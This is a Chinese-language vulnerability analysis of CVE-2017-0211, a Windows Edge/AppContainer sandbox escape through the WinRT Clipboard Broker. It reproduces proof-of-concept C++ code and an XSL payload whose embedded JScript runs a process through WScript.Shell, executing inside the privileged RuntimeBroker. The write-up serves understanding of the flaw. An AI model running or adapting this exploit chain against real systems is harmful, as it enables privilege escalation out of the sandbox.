datetime: 2017.04.28
漏洞简介
随着沙箱技术的普及,现在主流的操作系统及软件都开始支持沙箱,以此来缓解层出不穷的远程代码执行漏洞对系统造成的危害。AppContainer是自Windows 8引入的沙箱技术,最新的UWP应用会强制启用AppContainner沙箱。
因此,Edge浏览器也使用AppContainner作为沙箱来最大限度保护系统安全。并且微软还为Edge浏览器加入了更多的缓解机制来进一步加强沙箱。
传统的沙箱逃逸往往借助内核漏洞等来实现权限提升,而Jame Forshaw发现的CVE-2017-0211则利用Windows Runtime的实现缺陷进行沙箱逃逸,最终实现权限提升。此漏洞的原理和利用过程都比较精妙,本文将对此漏洞的原理和利用方法进行分析。
漏洞原理
UWP应用是指使用WinRT API开发的Modern UI风格应用程序,WinRT API是微软自Win8引入的用于应用程序开发的组件集(Windows Runtime Components),它基于COM技术发展而来。在Windows 10上,WinRT组件被注册成Windows Runtime Class。这些运行时类的相关信息被注册在Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsRuntime中。所有的UWP应用都强制位于AppContainner沙箱中(Low Integrity),导致其权限受到限制,当其访问外部资源时都需要通过相应的Broker来进行操作。因此,有许多WinRT组件都位于RuntimeBroker.exe进程(Medium Integrity)中,来实现权限检查和代理操作。CVE-2017-0211便是由于Clipboard Broker的设计缺陷导致的权限提升漏洞。
WinRT剪切板访问的实现
在Windows系统中,COM接口提供了一种用于在不同的应用程序中交换数据(剪切板操作、拖拽操作)的机制,其核心是数据对象Data Object。数据对象Data Object用来代表任何实现了IDataObject接口的对象,基于需要的数据对象或应用场景,开发者可以在继承自IDataObject接口的Data Object中实现某些方法。
WinRT API扩展自COM,因此其内部也使用IDataObject来操作剪切板,所不同的是UWP进程对剪切板的访问请求会被OLE32通过RPC转发至RuntimeBroker进行处理。同时,为了阻止UWP进程(Low Integrity)篡改其他进程设置的剪切板内容,ClipboardBroker还要对UWP进程的SetData行为进行限制。
基于以上目的,ClipboardBroker被设计成:
• 当UWP进程(数据生产者)通过OleSetClipboard() 设置DataObject时,由ClipboardBroker充当代理将DataObject设置到剪切板中;
• 当UWP进程(数据消费者)通过OleGetClipboard() 请求DataObject时,ClipboardBroker会返回一个封装对象(DataObject Wrapper——CClipDataObject)。并由ClipboardBroker来作为代理从数据源(数据生产者)请求数据。
• 在封装对象CClipDataObject里,对SetData做过滤,阻止AppContainer进程设置其他进程DataObject中的数据,如下图所示
漏洞成因
根据ClipboardBroker的实现,它并不返回原始的DataObject给UWP进程(数据消费者),取而代之的是一个封装对象。因此,对原始DataObject(数据生产者)的任何请求都将由高权限的ClipboardBroker代理发起。并且,IDataObject::GetDataHere 的输入参数STGMEDIUM要求由调用者申请,当它是一个Storage对象时,便可以被低权限的UWP进程使用。
再结合UWP进程可以设置自定义的DataObject(通过OleSetClipboard()实现),导致攻击者可以重用这一系列功能最终实现权限提升。James Forshaw提供的POC的调用分析如下表所示(此表仅作为漏洞分析记录,请读者转到漏洞利用分析部分阅读)
漏洞利用
在这个场景下,漏洞利用过程将通过OleSetClipboard和OleGetClipboard同时扮演数据生产者和数据消费者,从而重用DataObject的功能。
创建自定义DataObject
MyDataObject继承自IDataObject,主要实现了EnumFormatEtc, GetDataHere两个方法。
• EnumFormatEtc用来向数据消费者说明此DataObject支持哪些格式。由于之后要利用GetDataHere获取一个Storage对象,因此此处设置成TYMED_ISTORAGE存储媒介类型。
• GetDataHere方法是漏洞利用的关键代码,主要完成:利用一个RuntimeBroker中的Storage对象实现任意代码执行。详细内容请见下一节。
设置DataObject
创建一个MyDataObject实例,使用它作为参数调用OleSetClipboard(_In_ LPDATAOBJECT pDataObj ); 从而将此MyDataObject设置到剪切板中。
这个过程主要涉及以下几个过程:
• Ole32检测到当前进程在AppContainer中后,通过调用RuntimeBroker的CRuntimeBroker::GetClipboardBroker获取一个CClipboardBroker对象指针;并将CClipboardBroker对象指针保存在Tls线程局部存储区中。
通过RPC调用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,将当前MyDataObject设置到剪切板中。
• RuntimeBroker中的CClipboardBroker::SetClipboard被调用后,首先通过CoImpersonateClient() 模拟数据生产者的身份,打开并清空剪切板,设置关联到剪切板的窗口属性;然后将MyDataObject对象设置到剪切板,并通过RPC回调MyDataObject::EnumFormatEtc获取并设置剪切板格式,通过RPC回调MyDataObject::GetDataHere。最后通过CoRevertToSelf() 结束模拟。(注:由于存在CoImpersonateClient,因此在MyDataObject::GetDataHere的实现中,会通过_set_clipboard来判断OleSetClipboard是否已经完成)
获取DataObject Wapper
将MyDataObject设置到剪切板后,就可以再次扮演数据消费者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 从而获取MyDataObject的Wapper,对数据进行“消费“。
RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及对剪切板数据及格式的获取,对原始MyDataObject进行封装,最终会返回给数据消费者一个MyDataObject的Wapper——CClipDataObject。
代码执行
此时即可扮演数据消费者,调用IDataObject::GetData。这将导致RuntimeBroker中的ole32!CClipDataObject::GetData被调用,最终CClipDataObject::GetData会通过RPC回调至UWP进程中原始的MyDataObject::GetDataHere。由于GetDataHere的参数FORMATETC已经被指定为TYMED_ISTORAGE类型,因此STGMEDIUM参数将是一个在RuntimeBroker中创建的Storge对象指针。对IStorge的任何方法调用,都将通过RPC回调至RuntimeBroker中执行。
在这里James Forshaw采用了一种非常精妙的利用方法,使用结构化存储对象Storage实现任意代码执行。下面将详细分析整个过程。
• 函数原型
GetDataHere(
/* [annotation][unique][in] */
_In_ FORMATETC *pformatetc,
/* [annotation][out][in] */
_Inout_ STGMEDIUM *pmedium)
• 通过IStorage::CreateStorage利用RuntimeBroker中的Storage里创建一个新的可读可写的命名("TestStorage")存储对象——new_stg。相关代码如下:
IStorage* stg = pmedium->pstg;
IStorage* new_stg;
stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);
• 实例化一个自定义的FakeClass类
FakeClass类继承自IPersistStream接口,主要重载并实现了以下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
其中,IPersist::GetClassID用来指示当前对象是一个XML DOM对象(FakeClass类将伪装成一个XML DOM对象);IPersistStream::Save用于后面通过PropertyBag来持久化FakeClass对象,保存Payload。
注意,这里的Payload是一段XSL(Extensible Stylesheet Language)。相关代码如下:
FakeClass* c = new FakeClass();
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
*pClassID = CLSID_MsXmlDomDocument6;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE Save(
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty)
{
const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
Check(pStm->Write(xml, strlen(xml), nullptr));
return S_OK;
}
• 使用FakeClass对象指针来初始化一个_variant_t
因为_variant_t重载了"=",所以variant_t v = c; 将导致使用FakeClass对象来初始化_variant_t:初始化_variant_t.vt为VT_UNKNOWN,_variant_t.punkVal为IPersistStream。相关代码如下:
variant_t v = c;
inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
{
_COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
// Clear VARIANT (This will Release() any previous occupant)
//
Clear();
V_VT(this) = VT_UNKNOWN;
V_UNKNOWN(this) = pSrc;
if (V_UNKNOWN(this) != NULL) {
// Need the AddRef() as VariantClear() calls Release()
//
V_UNKNOWN(this)->AddRef();
}
return *this;
}
• 持久化FakeClass(XML DOM对象)到new_stg中
通过new_stg查询IPropertyBag接口,并调用IPropertyBag::Write方法,从而将名为"Hello"的VARIANT属性(FakeClass对象)写入PropertyBag。查阅微软文档发现,调用者可以让PropertyBag保存VARIANT结构外的其他类型的对象。当_variant_t.vt为VT_UNKNOWN时,PropertyBag会查询被保存对象的持久化接口(这里是IPersistStream)。随后调用IPersistMedium::GetClassID获取CLSID,将其保存到存储介质上。最后调用IPersistStream::Save方法(即FakeClass重载的Save),将数据写入PropertyBag。
持久化操作完成后,调用IStorage::Commit提交针对根存储对象(即RuntimeBroker中的Storage)的改变。相关代码如下:
WriteToPropertyBag(new_stg, L"Hello", v);
new_stg->Commit(STGC_DEFAULT));
new_stg->Release();
new_stg = nullptr;
HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
{
IPropertyBag* bag;
HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
if (SUCCEEDED(hr))
{
hr = bag->Write(lpName, &v);
bag->Release();
}
return hr;
}
• 当数据被提交到RuntimeBroker中的Storage后,再次利用IPropertyBag接口,将名为"Hello"的FakeClass对象(XML DOM对象)读取出来。
variant_t v2;
v2.vt = VT_UNKNOWN;
ReadFromPropertyBag(new_stg, L"Hello", v2);
HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
{
IPropertyBag* bag;
HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
if (SUCCEEDED(hr))
{
hr = bag->Read(lpName, &v, nullptr);
bag->Release();
}
return hr;
}
• 任意代码执行
通过QueryInterface取回IXMLDOMDocument3接口指针。
调用IXMLDOMDocument2::setProperty来设置DOM对象的AllowXsltScript属性,从而开启XSL 转换(Extensible Stylesheet Language Transform, XSLT)时“<msxsl:script>”标签的执行功能。
一切就绪后,调用IXMLDOMNode::transformNode,执行这段XSL转换,最终导致“<msxsl:script>”标签中的JScript被执行。
v2.punkVal->QueryInterface(&doc)
variant_t true_var(true);
doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
bstr_t result;
doc->transformNode(doc, result.GetAddress());
总结
整个漏洞原因和利用分析完毕后,可以看到此漏洞的关键点在于Clipboard Broker为了保护剪切板数据不被篡改,从而给原始的DataObject进行了封装。而这种封装将导致原始的DataObject永远不会被序列化到数据消费者进程空间内,使得对IDataObject的任何调用,都会由高权限的Clipboard Broker代理进行。因此,当原始的对象中存在敏感操作时,就可能会被攻击者所重用。最终造成权限提升。
对于这个漏洞还需要注意的是,James Forshaw利用一个可控的Storage对象实现了代码执行。整个利用思路值得学习。
Reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1079
附录-剪切板小结
小结一下Desktop App和UWP App访问剪切板的方式。
普通应用如何访问剪切板
传统的桌面应用程序(Desktop App)可以通过两种方式访问剪切板:1. Win32 API; 2. Data Transfer Interfaces
Win32 API
写剪切板的一般步骤:
1. OpenClipboard()
2. EmptyClipboard()
3. SetClipboardData(CF_TEXT,hClipboardData)
4. CloseClipboard()
读剪切板的一般步骤:
1. OpenClipboard()
2. GetClipboardData(CF_TEXT)
3. CloseClipboard()
https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex
Data Transfer Interfaces
Data Transfer Interfaces本身是Win32 API的封装,核心是IDataObject,在这个基础上通过剪切板实现了生产者和消费者的数据传输(剪切板数据交互、文件拖拽等功能)。下表列举了不同数据传输场景下需要使用的接口:
写剪切板的一般步骤:
1. Create IDataObject Instance
2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
3. OleFlushClipboard()
读剪切板的一般步骤:
1. OleGetClipboard() to get the data-object pointer
2. (RPC) IDataObject::EnumFormatEtc()
3. (RPC) IDataObject::GetData
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
UWP如何访问剪切板
对于需要访问剪切板的UWP应用(UWP App/Modern App)来说,对应的WinRT API命名空间是Windows.ApplicationModel.DataTransfer。
写剪切板的一般步骤:
1. 创建一个DataPackage对象
2. 将数据设置到DataPackage 对象中
3. 使用Clipboard:: SetContent(DataPackage content)将DataPackage对象包含的数据设置到剪切板中。
读剪切板的一般步骤:
1. 调用Clipboard::GetContent()返回一个DataPackageView对象
2. 通过DataPackageView的方法读取数据内容
数据又是如何写进剪切板的呢?逆向分析Clipboard:: SetContent的实现,其步骤如下图所示:
1. 调用参数DataPackage的GetView方法,获取一个只读的DataPackageView对象。实际上DataPackageView对象是一个实现了IDataObject的Data Object。
2. 将DataPackageView作为参数,调用OleSetClipboard(DataPackageView),最终RuntimeBroker中的CClipboardBroker会将数据写进剪切板
由上面的过程我们可以得到结论:Windows.ApplicationModel.DataTransfer实际上是Data Transfer Interfaces的封装,内部一样使用IDataObject实现剪切板访问或拖拽功能;